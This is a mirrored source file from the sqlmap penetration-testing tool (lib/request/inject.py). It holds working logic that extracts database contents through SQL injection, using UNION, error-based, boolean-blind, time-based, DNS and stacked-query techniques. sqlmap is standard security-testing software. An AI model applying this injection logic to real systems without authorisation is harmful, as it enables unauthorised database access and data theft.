Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/lib/request/inject.py
2989 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
from __future__ import print_function
9
10
import re
11
import time
12
13
from lib.core.agent import agent
14
from lib.core.bigarray import BigArray
15
from lib.core.common import applyFunctionRecursively
16
from lib.core.common import Backend
17
from lib.core.common import calculateDeltaSeconds
18
from lib.core.common import cleanQuery
19
from lib.core.common import expandAsteriskForColumns
20
from lib.core.common import extractExpectedValue
21
from lib.core.common import filterNone
22
from lib.core.common import getPublicTypeMembers
23
from lib.core.common import getTechnique
24
from lib.core.common import getTechniqueData
25
from lib.core.common import hashDBRetrieve
26
from lib.core.common import hashDBWrite
27
from lib.core.common import initTechnique
28
from lib.core.common import isDigit
29
from lib.core.common import isNoneValue
30
from lib.core.common import isNumPosStrValue
31
from lib.core.common import isTechniqueAvailable
32
from lib.core.common import parseUnionPage
33
from lib.core.common import popValue
34
from lib.core.common import pushValue
35
from lib.core.common import randomStr
36
from lib.core.common import readInput
37
from lib.core.common import setTechnique
38
from lib.core.common import singleTimeWarnMessage
39
from lib.core.compat import xrange
40
from lib.core.data import conf
41
from lib.core.data import kb
42
from lib.core.data import logger
43
from lib.core.data import queries
44
from lib.core.decorators import lockedmethod
45
from lib.core.decorators import stackedmethod
46
from lib.core.dicts import FROM_DUMMY_TABLE
47
from lib.core.enums import CHARSET_TYPE
48
from lib.core.enums import DBMS
49
from lib.core.enums import EXPECTED
50
from lib.core.enums import PAYLOAD
51
from lib.core.exception import SqlmapConnectionException
52
from lib.core.exception import SqlmapDataException
53
from lib.core.exception import SqlmapNotVulnerableException
54
from lib.core.exception import SqlmapUserQuitException
55
from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS
56
from lib.core.settings import INFERENCE_MARKER
57
from lib.core.settings import MAX_TECHNIQUES_PER_VALUE
58
from lib.core.settings import SQL_SCALAR_REGEX
59
from lib.core.settings import UNICODE_ENCODING
60
from lib.core.threads import getCurrentThreadData
61
from lib.request.connect import Connect as Request
62
from lib.request.direct import direct
63
from lib.techniques.blind.inference import bisection
64
from lib.techniques.blind.inference import queryOutputLength
65
from lib.techniques.dns.test import dnsTest
66
from lib.techniques.dns.use import dnsUse
67
from lib.techniques.error.use import errorUse
68
from lib.techniques.union.use import unionUse
69
from thirdparty import six
70
71
def _goDns(payload, expression):
72
value = None
73
74
if conf.dnsDomain and kb.dnsTest is not False and not kb.testMode and Backend.getDbms() is not None:
75
if kb.dnsTest is None:
76
dnsTest(payload)
77
78
if kb.dnsTest:
79
value = dnsUse(payload, expression)
80
81
return value
82
83
def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False, field=None):
84
start = time.time()
85
value = None
86
count = 0
87
88
value = _goDns(payload, expression)
89
90
if payload is None:
91
return None
92
93
if value is not None:
94
return value
95
96
timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
97
98
if timeBasedCompare and conf.threads > 1 and kb.forceThreads is None:
99
msg = "multi-threading is considered unsafe in "
100
msg += "time-based data retrieval. Are you sure "
101
msg += "of your choice (breaking warranty) [y/N] "
102
103
kb.forceThreads = readInput(msg, default='N', boolean=True)
104
105
if not (timeBasedCompare and kb.dnsTest):
106
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads):
107
108
if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I):
109
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CUBRID):
110
alias = randomStr(lowercase=True, seed=hash(expression))
111
expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example
112
expression += " AS %s" % alias
113
else:
114
expression = "SELECT %s FROM (%s)" % (field, expression)
115
116
if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields or Backend.getIdentifiedDbms() in (DBMS.RAIMA,):
117
nulledCastedField = agent.nullAndCastField(field)
118
injExpression = expression.replace(field, nulledCastedField, 1)
119
else:
120
injExpression = expression
121
length = queryOutputLength(injExpression, payload)
122
else:
123
length = None
124
125
kb.inferenceMode = True
126
count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump)
127
kb.inferenceMode = False
128
129
if not kb.bruteMode:
130
debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start))
131
logger.debug(debugMsg)
132
133
return value
134
135
def _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
136
outputs = []
137
origExpr = None
138
139
for field in expressionFieldsList:
140
output = None
141
142
if field.startswith("ROWNUM "):
143
continue
144
145
if isinstance(num, int):
146
origExpr = expression
147
expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])
148
149
if "ROWNUM" in expressionFieldsList:
150
expressionReplaced = expression
151
else:
152
expressionReplaced = expression.replace(expressionFields, field, 1)
153
154
output = _goInference(payload, expressionReplaced, charsetType, firstChar, lastChar, dump, field)
155
156
if isinstance(num, int):
157
expression = origExpr
158
159
outputs.append(output)
160
161
return outputs
162
163
def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False):
164
"""
165
Retrieve the output of a SQL query characted by character taking
166
advantage of an blind SQL injection vulnerability on the affected
167
parameter through a bisection algorithm.
168
"""
169
170
initTechnique(getTechnique())
171
172
query = agent.prefixQuery(getTechniqueData().vector)
173
query = agent.suffixQuery(query)
174
payload = agent.payload(newValue=query)
175
count = None
176
startLimit = 0
177
stopLimit = None
178
outputs = BigArray()
179
180
if not unpack:
181
return _goInference(payload, expression, charsetType, firstChar, lastChar, dump)
182
183
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
184
185
rdbRegExp = re.search(r"RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
186
if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD):
187
expressionFieldsList = [expressionFields]
188
189
if len(expressionFieldsList) > 1:
190
infoMsg = "the SQL query provided has more than one field. "
191
infoMsg += "sqlmap will now unpack it into distinct queries "
192
infoMsg += "to be able to retrieve the output even if we "
193
infoMsg += "are going blind"
194
logger.info(infoMsg)
195
196
# If we have been here from SQL query/shell we have to check if
197
# the SQL query might return multiple entries and in such case
198
# forge the SQL limiting the query output one entry at a time
199
# NOTE: we assume that only queries that get data from a table
200
# can return multiple entries
201
if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I) and hasattr(queries[Backend.getIdentifiedDbms()].limitregexp, "query"):
202
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression)
203
204
if limitCond:
205
test = True
206
207
if stopLimit is None or stopLimit <= 1:
208
if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
209
test = False
210
211
if test:
212
# Count the number of SQL query entries output
213
countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
214
countedExpression = expression.replace(expressionFields, countFirstField, 1)
215
216
if " ORDER BY " in countedExpression.upper():
217
_ = countedExpression.upper().rindex(" ORDER BY ")
218
countedExpression = countedExpression[:_]
219
220
if not stopLimit:
221
count = _goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar)
222
223
if isNumPosStrValue(count):
224
count = int(count)
225
226
if batch or count == 1:
227
stopLimit = count
228
else:
229
message = "the SQL query provided can return "
230
message += "%d entries. How many " % count
231
message += "entries do you want to retrieve?\n"
232
message += "[a] All (default)\n[#] Specific number\n"
233
message += "[q] Quit"
234
choice = readInput(message, default='A').upper()
235
236
if choice == 'A':
237
stopLimit = count
238
239
elif choice == 'Q':
240
raise SqlmapUserQuitException
241
242
elif isDigit(choice) and int(choice) > 0 and int(choice) <= count:
243
stopLimit = int(choice)
244
245
infoMsg = "sqlmap is now going to retrieve the "
246
infoMsg += "first %d query output entries" % stopLimit
247
logger.info(infoMsg)
248
249
elif choice in ('#', 'S'):
250
message = "how many? "
251
stopLimit = readInput(message, default="10")
252
253
if not isDigit(stopLimit):
254
errMsg = "invalid choice"
255
logger.error(errMsg)
256
257
return None
258
259
else:
260
stopLimit = int(stopLimit)
261
262
else:
263
errMsg = "invalid choice"
264
logger.error(errMsg)
265
266
return None
267
268
elif count and not isDigit(count):
269
warnMsg = "it was not possible to count the number "
270
warnMsg += "of entries for the SQL query provided. "
271
warnMsg += "sqlmap will assume that it returns only "
272
warnMsg += "one entry"
273
logger.warning(warnMsg)
274
275
stopLimit = 1
276
277
elif not isNumPosStrValue(count):
278
if not count:
279
warnMsg = "the SQL query provided does not "
280
warnMsg += "return any output"
281
logger.warning(warnMsg)
282
283
return None
284
285
elif (not stopLimit or stopLimit == 0):
286
return None
287
288
try:
289
try:
290
for num in xrange(startLimit or 0, stopLimit or 0):
291
output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
292
outputs.append(output)
293
except OverflowError:
294
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
295
errMsg += "with switch '--fresh-queries'"
296
raise SqlmapDataException(errMsg)
297
298
except KeyboardInterrupt:
299
print()
300
warnMsg = "user aborted during dumping phase"
301
logger.warning(warnMsg)
302
303
return outputs
304
305
elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper():
306
expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
307
308
outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
309
310
return ", ".join(output or "" for output in outputs) if not isNoneValue(outputs) else None
311
312
def _goBooleanProxy(expression):
313
"""
314
Retrieve the output of a boolean based SQL query
315
"""
316
317
initTechnique(getTechnique())
318
319
if conf.dnsDomain:
320
query = agent.prefixQuery(getTechniqueData().vector)
321
query = agent.suffixQuery(query)
322
payload = agent.payload(newValue=query)
323
output = _goDns(payload, expression)
324
325
if output is not None:
326
return output
327
328
vector = getTechniqueData().vector
329
vector = vector.replace(INFERENCE_MARKER, expression)
330
query = agent.prefixQuery(vector)
331
query = agent.suffixQuery(query)
332
payload = agent.payload(newValue=query)
333
334
timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
335
336
output = hashDBRetrieve(expression, checkConf=True)
337
338
if output is None:
339
output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False)
340
341
if output is not None:
342
hashDBWrite(expression, output)
343
344
return output
345
346
def _goUnion(expression, unpack=True, dump=False):
347
"""
348
Retrieve the output of a SQL query taking advantage of an union SQL
349
injection vulnerability on the affected parameter.
350
"""
351
352
output = unionUse(expression, unpack=unpack, dump=dump)
353
354
if isinstance(output, six.string_types):
355
output = parseUnionPage(output)
356
357
return output
358
359
@lockedmethod
360
@stackedmethod
361
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
362
"""
363
Called each time sqlmap inject a SQL query on the SQL injection
364
affected parameter.
365
"""
366
367
if conf.hexConvert and expected != EXPECTED.BOOL and Backend.getIdentifiedDbms():
368
if not hasattr(queries[Backend.getIdentifiedDbms()], "hex"):
369
warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms()
370
singleTimeWarnMessage(warnMsg)
371
conf.hexConvert = False
372
else:
373
charsetType = CHARSET_TYPE.HEXADECIMAL
374
375
kb.safeCharEncode = safeCharEncode
376
kb.resumeValues = resumeValue
377
378
for keyword in GET_VALUE_UPPERCASE_KEYWORDS:
379
expression = re.sub(r"(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword, r"\g<1>%s\g<2>" % keyword, expression)
380
381
if suppressOutput is not None:
382
pushValue(getCurrentThreadData().disableStdOut)
383
getCurrentThreadData().disableStdOut = suppressOutput
384
385
try:
386
pushValue(conf.db)
387
pushValue(conf.tbl)
388
389
if expected == EXPECTED.BOOL:
390
forgeCaseExpression = booleanExpression = expression
391
392
if expression.startswith("SELECT "):
393
booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1")
394
else:
395
forgeCaseExpression = agent.forgeCaseStatement(expression)
396
397
if conf.direct:
398
value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression)
399
400
elif any(isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)):
401
query = cleanQuery(expression)
402
query = expandAsteriskForColumns(query)
403
value = None
404
found = False
405
count = 0
406
407
if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I):
408
query = query.replace("DISTINCT ", "")
409
410
if not conf.forceDns:
411
if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
412
setTechnique(PAYLOAD.TECHNIQUE.UNION)
413
kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8]
414
fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion
415
416
if expected == EXPECTED.BOOL:
417
# Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq')
418
419
if not any(_ in forgeCaseExpression for _ in ("SELECT", "CASE")):
420
forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression
421
422
try:
423
value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
424
except SqlmapConnectionException:
425
if not fallback:
426
raise
427
428
count += 1
429
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
430
431
if not found and fallback:
432
warnMsg = "something went wrong with full UNION "
433
warnMsg += "technique (could be because of "
434
warnMsg += "limitation on retrieved number of entries)"
435
if " FROM " in query.upper():
436
warnMsg += ". Falling back to partial UNION technique"
437
singleTimeWarnMessage(warnMsg)
438
439
try:
440
pushValue(kb.forcePartialUnion)
441
kb.forcePartialUnion = True
442
value = _goUnion(query, unpack, dump)
443
found = (value is not None) or (value is None and expectingNone)
444
finally:
445
kb.forcePartialUnion = popValue()
446
else:
447
singleTimeWarnMessage(warnMsg)
448
449
if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found:
450
setTechnique(PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY)
451
value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump)
452
count += 1
453
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
454
455
if found and conf.dnsDomain:
456
_ = "".join(filterNone(key if isTechniqueAvailable(value) else None for key, value in {'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION}.items()))
457
warnMsg = "option '--dns-domain' will be ignored "
458
warnMsg += "as faster techniques are usable "
459
warnMsg += "(%s) " % _
460
singleTimeWarnMessage(warnMsg)
461
462
if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
463
setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN)
464
465
if expected == EXPECTED.BOOL:
466
value = _goBooleanProxy(booleanExpression)
467
else:
468
value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
469
470
count += 1
471
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
472
473
if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
474
match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression)
475
kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None
476
477
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
478
setTechnique(PAYLOAD.TECHNIQUE.TIME)
479
else:
480
setTechnique(PAYLOAD.TECHNIQUE.STACKED)
481
482
if expected == EXPECTED.BOOL:
483
value = _goBooleanProxy(booleanExpression)
484
else:
485
value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump)
486
else:
487
errMsg = "none of the injection types identified can be "
488
errMsg += "leveraged to retrieve queries output"
489
raise SqlmapNotVulnerableException(errMsg)
490
491
finally:
492
kb.resumeValues = True
493
kb.responseTimeMode = None
494
495
conf.tbl = popValue()
496
conf.db = popValue()
497
498
if suppressOutput is not None:
499
getCurrentThreadData().disableStdOut = popValue()
500
501
kb.safeCharEncode = False
502
503
if not any((kb.testMode, conf.dummy, conf.offline, conf.noCast, conf.hexConvert)) and value is None and Backend.getDbms() and conf.dbmsHandler and kb.fingerprinted:
504
if conf.abortOnEmpty:
505
errMsg = "aborting due to empty data retrieval"
506
logger.critical(errMsg)
507
raise SystemExit
508
else:
509
warnMsg = "in case of continuous data retrieval problems you are advised to try "
510
warnMsg += "a switch '--no-cast' "
511
warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else ""
512
singleTimeWarnMessage(warnMsg)
513
514
# Dirty patch (MSSQL --binary-fields with 0x31003200...)
515
if Backend.isDbms(DBMS.MSSQL) and conf.binaryFields:
516
def _(value):
517
if isinstance(value, six.text_type):
518
if value.startswith(u"0x"):
519
value = value[2:]
520
if value and len(value) % 4 == 0:
521
candidate = ""
522
for i in xrange(len(value)):
523
if i % 4 < 2:
524
candidate += value[i]
525
elif value[i] != '0':
526
candidate = None
527
break
528
if candidate:
529
value = candidate
530
return value
531
532
value = applyFunctionRecursively(value, _)
533
534
# Dirty patch (safe-encoded unicode characters)
535
if isinstance(value, six.text_type) and "\\x" in value:
536
try:
537
candidate = eval(repr(value).replace("\\\\x", "\\x").replace("u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING)
538
if "\\x" not in candidate:
539
value = candidate
540
except:
541
pass
542
543
return extractExpectedValue(value, expected)
544
545
def goStacked(expression, silent=False):
546
if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data:
547
setTechnique(PAYLOAD.TECHNIQUE.STACKED)
548
else:
549
for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True):
550
_ = getTechniqueData(technique)
551
if _ and "stacked" in _["title"].lower():
552
setTechnique(technique)
553
break
554
555
expression = cleanQuery(expression)
556
557
if conf.direct:
558
return direct(expression)
559
560
query = agent.prefixQuery(";%s" % expression)
561
query = agent.suffixQuery(query)
562
payload = agent.payload(newValue=query)
563
Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare="SELECT" in (payload or "").upper())
564
565
def checkBooleanExpression(expression, expectingNone=True):
566
return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=expectingNone)
567
568